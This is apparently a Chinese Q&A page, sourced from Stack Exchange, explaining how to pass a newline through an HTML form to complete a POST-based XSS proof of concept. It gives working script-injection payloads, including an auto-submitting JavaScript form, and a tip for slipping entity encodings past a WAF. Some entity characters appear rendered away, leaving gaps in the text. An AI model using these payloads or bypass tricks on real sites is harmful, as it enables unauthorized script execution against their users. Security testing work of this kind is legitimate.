如何在HTML form标签中传递换行符\n以完成POST型XSS的POC构造
换行符相关XSS POC构造解决方案
问题根源
你当前使用的 是回车符(CR,ASCII码13)的HTML实体,浏览器处理表单提交时会自动将单独的CR转换为CRLF(\r\n)序列,这就是你会得到多余\r的原因。你需要的换行符(LF,ASCII码10)对应的HTML实体为 ,单独使用该实体不会被浏览器追加额外字符。
可行解决方案
- 方案1:直接替换HTML实体编码
把payload中原有 替换为 即可满足需求,修改后的payload如下:
绝大多数场景下该实体提交后会被解析为单独的<input hidden=true type="search" name=" N<html><body><script>alert(document.domain)</script><h1>" value="</h1></body></html>">\n,符合触发要求。 - 方案2:URL编码直接构造请求体
如果你不需要通过HTML表单自动触发提交,可以直接构造POST请求体,在对应参数位置插入URL编码的换行符%0A即可,无需额外做HTML实体编码,避免浏览器自动转换。 - 方案3:JavaScript动态构造表单参数
若HTML实体编码被过滤或存在转义异常,可以通过JS动态生成表单并赋值,直接传入原生换行符,完全绕过HTML实体解析环节:const form = document.createElement('form'); form.method = 'POST'; form.action = '目标站点接口地址'; const input = document.createElement('input'); input.type = 'hidden'; // 直接传入JS原生换行符,不会生成多余的\r字符 input.name = '\nN<html><body><script>alert(document.domain)</script><h1>'; input.value = '</h1></body></html>'; form.appendChild(input); document.body.appendChild(form); form.submit(); - 方案4:十六进制实体编码绕过WAF
如果 被WAF规则拦截,可以替换为等价的十六进制HTML实体
,解析效果完全一致,仅编码格式存在差异。
内容的提问来源于stack exchange,提问作者complexia
相关产品推荐
相关产品推荐

